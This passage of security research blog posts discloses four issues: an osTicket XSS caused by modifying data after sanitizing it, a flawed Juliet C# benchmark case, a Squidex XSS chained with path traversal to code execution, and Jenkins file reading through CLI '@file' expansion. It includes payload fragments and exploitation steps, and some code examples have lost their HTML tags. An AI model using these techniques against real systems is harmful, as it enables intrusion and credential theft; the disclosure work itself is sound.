document.body.innerHTML = data; // safe
This approach is only safe as long as the order of operations stays like this. Swapping the order to sanitize and then modify results in the dangerous Desanitization pattern.
data = sanitize(userInput);
data = modify(data);
use(data);
Why is this dangerous? Because the modifications can break the assumptions of the sanitizer and reintroduce injection payloads into a context where they are executed. This desanitizes the data. Let's illustrate this again with a toy XSS example.
userInput = 'class=" ';

// (1) sanitize
data = DOMPurify.sanitize(userInput);
// class=" 

// (2) modify
data = data.replace(/class=".*?"/, 'class="custom-class" ');
// class="custom-class"">

// (3) use
document.body.innerHTML = data; // triggers alert(1)
DOMPurify sees a harmless <div> tag with an id attribute and leaves it intact after sanitization. The modification afterward naively removes the opening <div tag. In doing so, the context of the malicious <img> is changed from an attribute to a tag. This breaks the assumption of the sanitizer about the attribute context being harmless, as the payload is moved out of the attribute context. In the end, an alert is triggered.

Desanitization happens because of a false assumption: "I have already sanitized my data, now I am safe and can implement features." But unfortunately, the order of operations matters.  As a rule of thumb, modifying a sanitizer’s output should be avoided and considered dangerous, regardless of how benign the modification might be. It can always lead to Desanitization in unexpected and subtle ways. To avoid Desanitization, we recommend making sure that sanitization is the very last step before data is used. 

This issue also goes beyond XSS: it can show up anytime when data is sanitized, modified, and then interpreted by another component that reparses the data. For example, think of SQL Injection (SQLi): An old way to protect against it was escaping single quotes and other special characters in the user input. Modifying the escaped data afterward could mess with the escaping and lead to SQLi. While SQLi can be avoided by fixing the order of operations, the best way to do it is to avoid reparsing altogether with parameterized queries.  

We found Desanitization to be a common cause of vulnerabilities. The pattern was part of a Wordpress RCE bugchain we discovered, it allowed us to potentially steal emails from Proton Mail, Zimbra, Tutanota, and more. We showcased multiple of these vulnerabilities in the talk A Common Bypass Pattern To Exploit Modern Web Apps at Insomni'hack 2022. 

In the next section, we go from theory to practice by looking at a Desanitization vulnerability in osTicket. We explain how a small modification after the sanitization of user-submitted HTML leads to XSS in multiple locations of osTicket.
Desanitization in osTicket's Format::sanitize function leads to XSS (CVE-2023-46967)
osTicket is a typical support software written in core PHP. It allows customers to create support tickets asking for help and staff members to view and reply to those tickets. Users can submit tickets on the website or directly via email with rich text formatting enabled.
Rich text benefits clear communication between the users seeking help and staff members but also comes at the risk of XSS. As such, it cleans up the user's HTML tickets on the server by sending all HTML user input through a sanitizer function Format::sanitize(). This server-side HTML sanitizer is used in many different places in osTicket where user-controlled HTML is rendered.

This function passes the user input from the $text parameter into Format::safe_html() for sanitization. Format::safe_html() is a wrapper around the htmLawed library. This library claims to clean up broken HTML and filter against XSS attacks. Format::localizeInlineImages() takes the now safe HTML string and transforms the src attribute of all images to a different format. After that, the transformed HTML is returned to be rendered by the browser. 
static function sanitize($text, $striptags=false, $spec=false) {
  // (1) sanitize
  $text = Format::safe_html($text, array('spec' => $spec));
  // (2) modify
  $text = self::localizeInlineImages($text);
  // ...
  return $text;
}
include/class.format.php
Looking at this code, the Desanitization pattern immediately jumps out, as the sanitization and modification are in the wrong order and directly next to each other. So we went through both steps to search for bugs in the sanitization itself and Desanitization bugs. After investigating the htmLawed library and how it was configured, we could not find issues in the sanitization. So we assumed that it was safe and proceeded with the rest of Format::sanitize().

What is Format::localizeInlineImages() doing exactly with the sanitized input? Looking at its code, we find a regex that replaces specifically formatted http(s): URLs inside src attributes with cid: URLs. Content ID URLs (cid:) usually represent inline images in emails, but osTicket also uses them to map attachments to tickets internally.
static function localizeInlineImages($text) {
  return preg_replace(
    '`src="(?:https?:/)?(?:/[^/"]+)*?/file\\.php\\?(?:\w+=[^&]+&(?:amp;)?)*?key=([^&]+)[^"]*`',
    'src="cid:$1', $text);
}
include/class.format.php
The regex tries to match a src attribute containing a URL with a /file.php path and a key query parameter. For example, the following input matches the regex and gets replaced by the string below:
src="/file.php?param=value&key=cid-value

src="cid:cid-value
The attribute parsing performed by this regex is, unfortunately, flawed. The regex contains a negative character class that can match unlimited characters that are not ampersands (&). This includes the double quote character ", which is used to mark the end of the src attribute. It also includes the angle brackets < and >.
The characters matched by this character class are not part of the replacement and are deleted. This can lead to plain text outside of an HTML element becoming an attribute of the element when the closing bracket > of the element is deleted by the regex replace. This violates the assumptions of the htmLawed sanitizer, which does not clean up plain text. This makes the transformation a classic case of Desanitization because special characters could be removed in an unbalanced way, unintentionally changing the structure of the HTML.
Exploitation
How can this be abused? In this example, everything after > is considered plain text and not changed by the sanitization. The marked part is matched by the negative character class from before. In the replacement, this removes the >. All the plain text after &key=cid-value", including onerror=alert(1), is now part of the <img> element. Browsers ignore that the closing angle bracket of <img> is now missing and still renders the element, leading to XSS.
The above example is not enough to trigger the XSS vulnerability. This is because other parts of the osTicket codebase transform the HTML even further. The src attributes of images are converted from cid: back to https:, and images without valid src attributes are deleted afterward. But the vulnerable regex modification includes src= at the start, so we do not need to use an <img> tag. Any element that can have a src attribute works. We cannot use any random element, as htmLawed checks if attributes are expected on an element or not. For example, a src attribute on a <div> element is removed.

Going through the htmLawed's mapping of HTML elements to attributes, we discovered the <track> element. <track> elements are usually used inside of <video> or <audio> to attach a subtitle track. A src attribute is used for this, just what we need. Normally, htmLawed would remove <track> if it is outside of the expected <video> or <audio> element, but osTicket disabled this check in the htmLawed configuration. 

Unfortunately, a simple onerror does not work for <track>. It only tries to load its src - which can fail and trigger onerror - when it is inside <audio> or <video>. And both of these are blocked by htmLawed! Remember, we can only add bad attributes to valid tags that passed sanitization, not arbitrary ones.

XSS connoisseurs might know that there are other juicy event handlers out there than just onerror. Portswigger's XSS cheatsheet is an excellent resource for exploring and filtering them for your conditions. With this, we found onanimationstart. This event handler fires whenever an animation on the element starts. We can add an existing animation from osTicket's stylesheets to the <track> element inside a style attribute, which is allowed by the sanitizer. Here is our final working payload before and after being desanitized.
 &key=foo" onanimationstart="alert(origin)" text

An attacker can submit a payload like this as a ticket to an osTicket instance to leak other tickets with sensitive customer data as soon as a staff member looks at the ticket. The attacker can also take over the staff member's account by changing their email address to an attacker-controlled one and requesting a password reset. An attacker with staff member access can abuse the same vulnerability in other locations on internal pages to target administrative users, who might not look at tickets. They could also use the gained staff member access to trick users seeking help into installing remote access software to run malicious commands on the user's computer. 
Patch
The osTicket maintainer Enhancesoft chose to follow our recommendation for protecting against Desanitization: Never modify data after sanitization. They swapped the order of the modifying `Format::localizeInlineImages() and the sanitizing Format::safe_html() calls. They additionally hardened the regex that replaces URLs so that it only matches <img> tags.
static function sanitize($text, $striptags=false, $spec=false) {
+    // Localize inline images before sanitizing content
+    $text = self::localizeInlineImages($text);

    //balance and neutralize unsafe tags.
    $text = Format::safe_html($text, array('spec' => $spec));

-    $text = self::localizeInlineImages($text);
-
    //If requested - strip tags with decoding disabled.
    return $striptags?Format::striptags($text, false):$text;
}
osTicket/osTicket: c4ad48d
Timeline

  Date Action
  2023-07-31 We reported all issues to Enhancesoft
  2023-07-31 Enhancesoft acknowledged the report
  2023-08-07 Enhancesoft replicated the issue and suggested a patch
  2023-10-25 Enhancesoft released patched versions v1.18.1 and v1.17.5 
Summary
This blog post introduced the concept of the dangerous Desanitization pattern: data is modified after sanitization, desanitizing it and making it dangerous again. We showed that the pattern often leads to critical vulnerabilities and gave an in-depth example of that with the XSS vulnerability in osTicket. Kudos to the maintainer Enhancesoft for the pleasant communication during disclosure! 

To protect your code against Desanitization, you can follow the Intentionality attribute of Clean Code: You intend to only use sanitized data for rendering HTML, so you sanitize last after modifications, keeping the data clean.
Related Blog Posts
WordPress 5.1 CSRF to Remote Code Execution
Code Vulnerabilities Put Proton Mails at Risk
Zimbra 8.8.15 - Webmail Compromise via Email
Magento 2.3.1: Unauthenticated Stored XSS to RCE
Remote Code Execution in Tutanota Desktop due to Code Flaw



Juliet C# Benchmark and the SecureString case
Gaëtan Ferry — Thu, 01 Feb 2024 08:00:00 GMT
Juliet C# and the benchmark initiative
As part of a larger initiative to improve the quality of Sonar’s products findings, in 2023 our teams worked on SAST benchmarks coverage. The reasons behind this are explained in a previous Top 3 C# SAST Benchmarks post that we encourage you to read.

Multiple benchmarks have been selected for each of our products’ flagship languages among which Juliet C# 1.3.

Juliet C# is a project from the National Institute of Standards and Technology of the USA, currently in version 1.3. It is known for supporting over a hundred CWEs, combined with a small set of code variations to form more than 28,000 test cases. 

We put a lot of effort into supporting this benchmark, partly due to its size. Especially, building the ground truth, the list of all valid findings on which a SAST engine should raise, took a lot of time. In the following, we want to give you a glimpse of the work we did around Juliet and some of its test cases.
Juliet C# - the SecureString test case
Among all the test cases implemented in the Juliet C# benchmark, a subset proved to be particularly interesting. It can be summarized by the following code sample. It has been adapted from the CWE313_Cleartext_Storage_in_a_File_or_on_Disk__ReadLine_01.cs test case.
using System.Security;

internal class Program
{
    private static void Main(string[] args)
    {
        string data;
        data = ""; /* Initialize data */
        {
            /* read user input from console with ReadLine */
            try
            {
                /* POTENTIAL FLAW: Read data from the console using ReadLine */
                data = Console.ReadLine();
            }
            catch (IOException exceptIO)
            {
                Console.WriteLine("Error with stream reading" + exceptIO);
            }
        }
        using (SecureString secureData = new SecureString())
        {
            for (int i = 0; i < data.Length; i++)
            {
                secureData.AppendChar(data[i]);
            }
            /* POTENTIAL FLAW: Store data directly in a file */
            File.WriteAllText(@"C:\Users\Public\WriteText.txt", secureData.ToString());
        }
    }
}
In essence, with this test case, Juliet C# showcases an issue where sensitive data is written unprotected in an unsafe location. Such kind of issues are difficult to identify with a static code analyzer because it is generally not possible to determine what is a sensitive piece of data solely based on the code semantic.

In that case, however, Juliet uses the SecureString type to store the data that is deemed sensitive. This could have interesting consequences.
SecureStrings
Stepping back to look at Microsoft’s documentation regarding the SecureString type, its general purpose and behavior can be quickly identified.

Represents text that should be kept confidential, such as by deleting it from computer memory when no longer needed. This class cannot be inherited.

The main function of SecureString objects is to store sensitive information that should be kept confidential. It implements security mechanisms to protect this information in multiple ways:
Using unmanaged memory, the type prevents the data it contains from being moved and copied into memory in an uncontrolled way.
Likewise, it allows its users to easily zero out and release the sensitive memory segment.
An encryption wrapping of the sensitive information keeps it safe from reading by unexpected tiers.
SecureString (non-)deprecation

However, while the SecureString API is not deprecated, Microsoft discourages its use in new development.

We recommend that you don't use the SecureString class for new development on .NET (Core) or when you migrate existing code to .NET (Core). For more information, see SecureString shouldn't be used.

There is a lot of information in Microsoft’s documentation about why SecureString should not be used. The reasons can be summarized in a few key points:
SecureString is unsupported at the Operating System level and by most .NET API functions. They often need to be converted back to an unsafe type before being used.
The same is also true for SecureString construction. The source of the sensitive data is also often unprotected.
Depending on the platform, the SecureString implementation might not protect the sensitive data at all.
Platform-specific behavior
This last statement is easily demonstrated by reading the SecureString type source code. The platform-common code calls a ProtectMemory method when initializing a SecureString.
private void Initialize(ReadOnlySpan value)
        {
            _buffer = UnmanagedBuffer.Allocate(GetAlignedByteSize(value.Length));
            _decryptedLength = value.Length;

            SafeBuffer? bufferToRelease = null;
            try
            {
                Span span = AcquireSpan(ref bufferToRelease);
                value.CopyTo(span);
            }
            finally
            {
                ProtectMemory();
                bufferToRelease?.DangerousRelease();
            }
        }
The Windows-specific implementation of this method uses the system-level DPAPI mechanism to efficiently encrypt the sensitive data value.
private void ProtectMemory()
        {
            if (_decryptedLength != 0 &&
                !_encrypted &&
                !Interop.Crypt32.CryptProtectMemory(_buffer, (uint)_buffer.ByteLength, Interop.Crypt32.CRYPTPROTECTMEMORY_SAME_PROCESS))
            {
            _encrypted = true;
        }
On the contrary, the Unix-specific implementation does not perform any encryption at all.
private void ProtectMemory()
        {
            _encrypted = true;
        }
Note that, contrary to Windows ones, Unix systems generally do not provide any system-level encryption mechanism, which prevents the safe implementation of the ProtectMemory function.

The SecureString type existed before .NET started supporting .NET platform. This might explain why the deprecation state is unclear.
Unprotected timespan
Because no operating system secure string structure exists, the .NET API, as well as the user code, constantly needs to protect and unprotect the SecureString-protected data. This means that the confidential data that it contains is available in clear text in the process memory from time to time. The exact frequency and timespan over which it is readable varies depending on the program’s logic.

For example, let’s execute the test program whose code was presented above and look at what the memory looks like when a piece of sensitive data is written to disk.
At that point in the execution, the SecureString value is properly protected. However, the data buffer that was used during the initialization is in clear text and can be read from the process memory. This makes the SecureString protection useless.

Microsoft documentation discourages initializing a SecureString object from a string for this exact reason.

A SecureString object should never be constructed from a String, because the sensitive data is already subject to the memory persistence consequences of the immutable String class. The best way to construct a SecureString object is from a character-at-a-time unmanaged source, such as the Console.ReadKey method.

However, even in that case, the .NET implementation is forced to decrypt the protected memory every time a character is appended to the SecureString buffer. If we go back to the test case execution and inspect the program’s memory during the addition of the last character of the secret value, we can observe that the secret appears in cleartext.
Here again, with sufficient entitlement, it is possible to access the secret value in the process memory. 
SecureString and SAST
The protection offered by SecureString objects might not be perfect or even as good as one can expect. Still, when properly used, they can add some additional security to an application. There is also no real alternative to using them. SecureString is still actively used despite Microsoft’s warning.

Discussing whether or not you should use SecureString is out of the scope of our topic. What is interesting to note is that SecureStrings are meant to store sensitive data. Seeing the type used in a piece of source code can therefore hint a SAST engine, with otherwise no understanding of an application’s business logic, about the sensitivity of a piece of data.

This makes it possible to detect Juliet’s test case with a SAST engine. The idea of tracking sensitive data usage inside a program also sounds promising and could represent a nice addition to Sonar’s engines.
Juliet C# and SecureString: it’s all about running the code
Before adding new rules and capabilities to our products, it is important to fully understand the security vulnerability the benchmark showcases here. We want to be sure to create the most precise detection logic to prevent later discomfort for our users.

However, running the test program we presented earlier leads to unexpected results. As a reminder, the test code tries to write the SecureString value into the C:\Users\Public\WriteText.txt file.
            /* POTENTIAL FLAW: Store data directly in a file */
            File.WriteAllText(@"C:\Users\Public\WriteText.txt", secureData.ToString());
However, the file that is created that way does not contain the expected sensitive data.
PS C:\Users\Public> Get-Content .\WriteText.txt
System.Security.SecureString
Instead, the fully qualified name of the SecureString type is written. This is because the SecureString type does not implement a toString method. The default Object.ToString method is therefore called which behavior is to return the fully qualified name of the type of the object.

There might have been confusion on the benchmark maintainers’ side when writing this test case. There is no sensitive information unsafely written here. Obviously, we do not want to implement such a detection behavior in our product as it would only result in false positives.

This ends our investigations on the SecureString case.
Juliet C# benchmark wrap-up
In the end, all the test cases for CWE313, CWE314, CWE315, and CWE319, which are all about sensitive data storage issues, proved to be wrong. They were all removed from the benchmark ground truth we created and excluded from our precision score computation.

Those are only an extract of all the bad test cases the Juliet C# benchmark proposed. The samples for CWE78 (OS command injection) are other examples of failed test cases. Those make a wrong assumption over the Process.start API function behavior that results in a buggy code that never runs correctly.

Nevertheless, the SecureString case proved to be inspiring. Using hints in the code to identify potentially sensitive pieces of data is a less explored capability in the SAST engines world. You can expect to see more of those confidentiality-related rules appear in the Sonar products in the future.


Who are you? The Importance of Verifying Message Origins
Stefan Schiller — Sun, 28 Jan 2024 23:00:00 GMT
In our continuous effort to help secure open-source projects and improve our Clean Code solution, we regularly scan open-source projects via SonarCloud and evaluate the findings. When scanning the popular C# Content Management System Squidex, we were faced with the following finding reported by SonarCloud:
View this issue on SonarCloud

SonarCloud detected that this event listener does not verify the event’s origin. This doesn’t feel like a big deal, does it?

As we will see in this blog post, it is a big deal and allows attackers to fully take over a vulnerable Squidex instance by tricking a user into clicking on a malicious link. The blog post will detail how attackers can leverage this seemingly minor issue of a missing origin check to achieve code execution and explain how you can discover similar issues in your own code.
Impact
Squidex version 7.8.2 and below is prone to Cross-Site Scripting (XSS) vulnerability via event listener (CVE-2023-46252). Attackers can combine this vulnerability with an authenticated Arbitrary File Write (CVE-2023-46253) to gain remote code execution (RCE) on a Squidex instance:
Watch the video
Both vulnerabilities were fixed with Squidex version 7.9.0.
Technical Details
In this section, we describe the technical details of both of these vulnerabilities.
XSS due to Missing Origin Check (CVE-2023-46252)
Before we dive into the technical details of this vulnerability, let’s see how we were able to discover it within seconds. On SonarCloud, an application can quickly be analyzed by adding the corresponding GitHub repository. For public repositories, this is even free, regardless of their size or language. Once the repository is added, SonarCloud starts to analyze the code and we can inspect the findings a few seconds later:
Let’s have a look at the reported eventListener function, which is registered in the SquidexFormField pseudo-class:
function SquidexFormField() {
    // ...
    function eventListener(event) {
        if (event.source !== window) {
            var type = event.data.type;
            console.log('Received Message: ' + type);
            if (type === ...) {
                // ...
Although the event listener checks the source of the event (event.source), it is indeed missing a check of its origin (event.origin). Because of this as well as the lack of X-Frame-Options and Content-Security-Policy, a malicious website can include the Squidex website in an iframe and use the postMessage method to trigger the execution of the event listener in the context of the included Squidex website:
Looking at the different type values attackers can submit this way, the valueChanged type caught our attention. When the SquidexFormField receives a message with this type, the value property is updated and the function raiseValueChanged is called:
        } else if (type === 'valueChanged') {
            value = event.data.value;
            raiseValueChanged();
        }
The raiseValueChanged function invokes the valueHandler callback, which can be registered via the onValueChanged function:
     /**
     * Register an function that is called whenever the value of the field has changed.
     *
     * @param {function} callback: The callback to invoke. Argument 1: Field value (any).
     */
        onValueChanged: function (callback) {
            if (!isFunction(callback)) {
                return;
            }
            valueHandler = callback;
            raiseValueChanged();
        },
The SquidexFormField class is for example used in the editor-editorjs.html file, which can be accessed via the public wwwroot folder. It uses the onValueChanged method to register a callback function, which passes the value provided from the message event to the editor.render function:


...
    

The editor.render function used here is part of the editorjs npm package. Passing an attacker-controlled value to this function introduces a Cross-Site Scripting (XSS) vulnerability. Since the registered message event listener in editor-sdk.js does not verify the origin of the received message, attackers can include the editor-editorjs.html page in an iframe and send a message to it in order to trigger the execution of arbitrary JavaScript code. This did not only affect self-hosted Squidex instances but also Squidex Cloud:
When determining the impact of this vulnerability, we identified a second vulnerability. This vulnerability is an authenticated file write, which attackers can combine with the XSS vulnerability to execute arbitrary code.
Arbitrary File Write (CVE-2023-46253)
Squidex allows users with the squidex.admin.restore permission to create and restore backups. Part of these backups are uploaded assets. For each asset, the backup zip archive contains a .asset file with the actual content of the asset as well as a related AssetCreatedEventV2 event, which is stored in a JSON file (4.json):
Amongst other things, the JSON file contains the event type (AssetCreatedEventV2), the ID of the asset (46c05041-9588-4179-b5eb-ddfcd9463e1e), its original filename (test.txt), and its file version (0):
When a backup with this event is restored, the corresponding asset needs to be re-created. This is done by:
determining the name of the .asset file in the zip archive,
reading its content, and
storing the content in the filestore (by default FolderAssetStore).

However, the filename used to store the content in the filestore is populated with the ID of the asset. Since this asset ID is taken from the provided JSON file, attackers can set this to an arbitrary value when restoring a backup. This allows attackers to insert a path traversal sequence (../) and write the .asset file from the backup zip archive to an arbitrary location on the file system.

The by-default appended file version, which is not a string but a long, would usually restrict the name of the written file. However, attackers can overcome this by setting the fileVersion to -1, which makes the application omit the file version:
private string GetFileName(DomainId appId, DomainId id, long fileVersion = -1, string? suffix = null)
{
    var sb = new StringBuilder(20);
    // id contains the ID of the asset to restore
    sb.Append(id);

    // only append file version if it's greater or equal to 0:
    if (fileVersion >= 0)
    {
        sb.Append('_');
        sb.Append(fileVersion);
    }
    // ...
    return sb.ToString();
}
Thus attackers can fully control the name and the content of the file written. This ability can be turned into arbitrary code execution by, for example, overwriting the dotnet-gcdump.dll file and triggering gcdump via the /api/diagnostics/gcdump endpoint.

In summary, the seemingly minor issue of a missing origin check can be leveraged by attackers to craft a malicious link, which triggers an XSS attack to gain remote code execution via this additional arbitrary file write vulnerability.
Patch
The XSS vulnerability (CVE-2023-46252) was fixed by adding the missing origin verification. Since there are valid use cases for certain origins to send messages to a Squidex website, a dynamic configuration was introduced:
function eventListener(event) {
    if (acceptedOrigins && acceptedOrigins.indexOf(event.origin) < 0) {
        console.log('Origin not accepted: ' + event.origin);
        return;
    }
The arbitrary file write vulnerability (CVE-2023-46253) was fixed by preventing a path traversal attack. An additional check was added to the FilePathHelper class, which ensures that files are only created within the intended destination folder:
public static class FilePathHelper
{
    public static string EnsureThatPathIsChildOf(string path, string folder)
    {
        if (path.Contains("../", StringComparison.Ordinal) || path.Contains("..\\", StringComparison.Ordinal))
        {
            throw new InvalidOperationException("Names cannot point to parent directories.");
        }

        if (string.IsNullOrWhiteSpace(folder))
        {
            folder = "./";
        }

        var absolutePath = Path.GetFullPath(path);
        var absoluteFolder = Path.GetFullPath(folder);

        if (!absolutePath.StartsWith(absoluteFolder, StringComparison.Ordinal))
        {
            throw new InvalidOperationException("Names cannot point to parent directories.");
        }

        return path;
    }
}
Timeline

  Date Action
  2023-10-11 We report all issues to the maintainers.
  2023-10-26 We ask the maintainers for an update.
  2023-10-26 The maintainers confirm the issues.
  2023-10-27 We help the maintainers to fix both issues.
  2023-11-08 The maintainers release the patched version 7.9.0.

Summary
In this blog post, we outlined the importance of verifying an event’s origin. We have seen how the absence of a check like this can quickly result in a severe impact. For Squidex, attackers could leverage the missing check to craft a malicious link, which triggers an XSS attack to gain remote code execution via an additional arbitrary file write vulnerability.

From a developer’s point of view, a check like this can be easily forgotten because it needs to be consistently applied to all event listeners throughout the whole code base. That’s where our SAST-based Clean Code solution provides irreplaceable benefits. By leveraging the analysis power of SonarQube or SonarCloud you can ensure that your code stays consistent, intentional, adaptable, and responsible. You don’t even want to introduce issues in the first place? With SonarLint you can follow a Clean as You Code approach right from your IDE of choice.

At last, we would like to thank the Squidex maintainers for confirming our findings and working together with us on a patch to fix these. Thank you!
Related Blog Posts
pfSense Security: Sensing Code Vulnerabilities with SonarCloud
Unzipping Dangers: OpenRefine Zip Slip Vulnerability
Pimcore: One click, two security vulnerabilities
OpenEMR - Remote Code Execution in your Healthcare System




Excessive Expansion: Uncovering Critical Security Vulnerabilities in Jenkins
Yaniv Nizry — Wed, 24 Jan 2024 23:00:00 GMT
Key Information
Sonar’s Vulnerability Research Team has discovered security vulnerabilities in Jenkins, the leading open-source Continuous Integration and Continuous Deployment (CI/CD) software.
The discovered Critical vulnerability tracked as CVE-2024-23897 allows unauthenticated attackers to read a limited amount of arbitrary files’ data, and "read-only" authorized attackers to an entire arbitrary file from Jenkins’ server.
Attackers could leverage this vulnerability, by reading Jenkins secrets, to escalate privileges to admin and eventually execute arbitrary code on the server.
The discovered High severity, cross-site WebSocket hijacking (CSWSH), vulnerability tracked as CVE-2024-23898, allows an attacker to execute arbitrary CLI commands by manipulating a victim to click on a link.
The vulnerabilities were fixed in Jenkins versions 2.442, and LTS 2.426.3.

Jenkins is the leading open-source automation server widely used for building, deploying, and automating software projects. Originally developed as Hudson, Jenkins has evolved into a powerful tool for continuous integration and continuous delivery (CI/CD). It enables developers to automate various aspects of the software development lifecycle, including building, testing, and deploying applications. With a market share of approximately 44% in 2023, the popularity of Jenkins is evident. This means the potential impact of security vulnerabilities in Jenkins is large.
Vulnerabilities Impact
Unauthenticated attackers can read the first few lines of arbitrary files from the server, while read-only authorized attackers can read the entire file. This could ultimately lead to the execution of arbitrary code in some cases (CVE-2024-23897). If one of the following conditions is met, even unauthenticated users have at least read permission:
Legacy mode authorization is enabled.
Configuration “Allow anonymous read access” is checked in the “logged-in users can do anything” authorization mode.
The signup feature is enabled.

The second vulnerability (CVE-2024-23898) resides within the WebSocket CLI feature, which lacks an origin check, allowing Cross-Site WebSocket Hijacking (CSWSH). This vulnerability might be exploited by sending a malicious link to a victim. Certain modern web browsers implement a “lax by default” policy, which serves as a potential safeguard against this vulnerability. Nonetheless, given that some widely used browsers like Safari and Firefox do not strictly enforce this policy, and considering the associated risks of potential bypass techniques or users using outdated browsers, the severity classification for this vulnerability is High.
Watch the video
Technical Details
In this section of the blog, we will explore our findings taking a deeper dive into the code, to understand the vulnerabilities and how an attacker could exploit them. During the Jenkins security team’s triaging of our report, they found further ways to exploit the first vulnerability (CVE-2024-23897) using an unauthenticated user. The following "Technical Details" covers the attack scenario of a read-only capable attacker. 
Background
Jenkins provides multiple ways of authorization, the unsafe “anyone can do anything”, the “legacy” permissions, and “logged-in users can do anything”. The latter authorization method allows the option for anonymous read access and gives read permission to anyone, which is also the case in the legacy mode.
On top of that, there is also the not recommended option to “Allow users to sign up”, which makes everyone at least read-only capable.

According to the official documentation, read-only access allows users to:
Access the basic Jenkins API and the API of any object they have access to.
Access the people directory listing user accounts and known committer identities of anyone involved in visible projects.
List and view all agents configured in Jenkins and access their summary pages.

On the other hand, administrators can pretty much do everything on a Jenkins instance. From an attacker's point of view, admins can run arbitrary code on a Jenkins server.
Jenkins-CLI Feature Background
Jenkins-CLI provides users with a built-in command line interface to execute custom commands that are implemented in the hudson/cli directory of the Jenkins Git repository.

Aside from the common ways of invoking a command, using jenkins-cli.jar (which utilizes web sockets) or SSH, we found out that there is an additional option by sending two POST requests to http://jenkins/cli?remoting=false. 

When Stapler (Jenkins' component that correlates a method to an endpoint) is getting the relevant method of the “/cli” path, the endpoint will throw a PlainCliEndpointResponse() exception, which will end up in this generateResponse function:
public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node) throws IOException, ServletException {
    try {
        UUID uuid = UUID.fromString(req.getHeader("Session"));
        //...
        if (req.getHeader("Side").equals("download")) {
            FullDuplexHttpService service = createService(req, uuid);
            //...
            try {
                service.download(req, rsp);
            }
            //...
        } else {
            FullDuplexHttpService service = services.get(uuid);
            //...
            try {
                service.upload(req, rsp);
            }
            //...
}
}
This function requires a downloader and uploader. The downloader returns the command’s response, and the uploader invokes a specified command from the body of the request. Jenkins connects them (downloader and uploader) using the UUID from the Session header.
Data Leak Vulnerability (CVE-2024-23897)
When invoking a CLI command with arguments, we have noticed that Jenkins uses args4j’s parseArgument, which calls expandAtFiles:
private String[] expandAtFiles(String args[]) throws CmdLineException {
    List result = new ArrayList();
    for (String arg : args) {
        if (arg.startsWith("@")) {
            File file = new File(arg.substring(1));
            if (!file.exists())
                throw new CmdLineException(this,Messages.NO_SUCH_FILE,file.getPath());
            try {
                result.addAll(readAllLines(file));
            } catch (IOException ex) {
                throw new CmdLineException(this, "Failed to parse "+file,ex);
            }
        } else {
            result.add(arg);
        }
    }
    return result.toArray(new String[result.size()]);
}
The function checks if the argument starts with the @ character, and if so, it reads the file in the path after the @ and expands a new argument for each line. 
This means that if an attacker can control an argument, they can expand it to an arbitrary number of ones from an arbitrary file on the Jenkins instance.

One way an attacker could leverage this is to find a command that takes an arbitrary number of arguments and displays these back to the user. Since the arguments are populated from the contents of the file, an attacker could leak the file contents this way. We found the command connect-to-node to be a good candidate: it receives a list of strings as an argument and tries to connect to each one. If it fails, an error message is generated with the name of the failed connected node. 
public class ConnectNodeCommand extends CLICommand {
    //...
    @Argument(metaVar = "NAME", usage = "Agent name, or empty string for built-in node; comma-separated list is supported", required = true, multiValued = true)
    private List nodes;
    //...

    @Override
    protected int run() throws Exception {
        //...
        for (String node_s : hs) {
            try {
                Computer computer = Computer.resolveForCLI(node_s);
                computer.cliConnect(force);
            } catch (Exception e) {
                //...
                final String errorMsg = node_s + ": " + e.getMessage();
                stderr.println(errorMsg);
                //...
            }
        }
        //...
    }
}
This connect-to-node command would usually require the CONNECT permission, which is verified in the cliConnect function. But since the exception is thrown before the permission check in the resolveForCLI function, the command actually doesn’t require any authorizations apart from the initial read-only verification.

Achieving code execution from arbitrary file read is dependent on the context. Some potentially interesting files for attackers could be:
SSH keys
/etc/passwd, /etc/shadow
Project secrets and credentials (refer to Jenkins' advisory for more information)
Source code, build artifacts
and more… 
Binary Files Reading Limitations 
When a file is read, the process's default character encoding is used, which is UTF-8 for most deployments. Because of this, any invalid UTF-8 sequence (statistically almost 50% of all bytes, assuming an equal distribution) would be replaced by the sequence 0xef 0xbf 0xbd and cause data loss. 
Some other encodings (such as Windows-1252, commonly used by instances running on Windows) would make it more feasible to exfiltrate binary data.
CSWSH Vulnerability (CVE-2024-23898)
As mentioned earlier, one of the ways to invoke the Jenkins-CLI commands is by web sockets (which is the implementation of jenkins-cli.jar). 

It is known that browsers don’t enforce SOP and CORS policies on WebSockets: “Cross-origin restrictions imposed by SOP and CORS policies do not apply to WebSockets because those restrictions are placed on HTTP responses while WebSockets work over WS(WebSocket) or WSS(WebSocketSecure) protocols.” (source).

Since there is no Jenkins-crumb (CSRF token) nor Origin header check in the web sockets requests, any website can use WebSockets to invoke Jenkins-CLI commands with the victim's identity, in a similar fashion to CSRF vulnerabilities.

Patch

The Jenkins security team patched CVE-2024-23897 by adding a secure configuration, which disables the “expandAtFiles” feature.
+  public static boolean ALLOW_AT_SYNTAX = SystemProperties.getBoolean(CLICommand.class.getName() + ".allowAtSyntax");
//...
-    return new CmdLineParser(this);
+    ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
+    return new CmdLineParser(this, properties);
And CVE-2024-23898 was patched by adding an origin verification to the WebSocket endpoint (The ALLOW parameter serves as a toggle, granting administrators the ability to override the updated default behavior. Giving the option to consistently permit or deny access to the WS CLI, irrespective of the Origin):
public HttpResponse doWs(StaplerRequest req) {
    if (!WebSockets.isSupported()) {
        return HttpResponses.notFound();
    }
+    if (ALLOW == null) {
+        final String actualOrigin = req.getHeader("Origin");
+        final String expectedOrigin = StringUtils.removeEnd(StringUtils.removeEnd(+Jenkins.get().getRootUrlFromRequest(), "/"), req.getContextPath());
+
+        if (actualOrigin == null || !actualOrigin.equals(expectedOrigin)) {
+            LOGGER.log(Level.FINE, () -> "Rejecting origin: " + actualOrigin + "; expected was from request: " + +expectedOrigin);
+            return HttpResponses.forbidden();
+        }
+    } else if (!ALLOW) {
+        return HttpResponses.forbidden();
+    }
    Authentication authentication = Jenkins.getAuthentication2();
Timeline

  Date Action
  2023-11-13 We reported all issues to the Jenkins Security team
  2023-11-13 Maintainers acknowledged the report
  2023-11-24 Maintainers confirmed the issues
  2023-12-12 We helped the vendor verify the fix
  2024-01-10 Maintainers updated us on other attack scenarios 
and the classification of Critical and High for our findings

  2024-01-24 Maintainers assigned CVEs, and 
released advisory and patch versions 2.442, and LTS 2.426.3.

Summary
In this blog, we uncovered two vulnerabilities on Jenkins, the first one leverages the “expandAtFiles” functionality to read arbitrary files and eventually execute arbitrary code on the server. The second finding has the potential to execute arbitrary commands as the victim, by manipulating them to visit a malicious link.

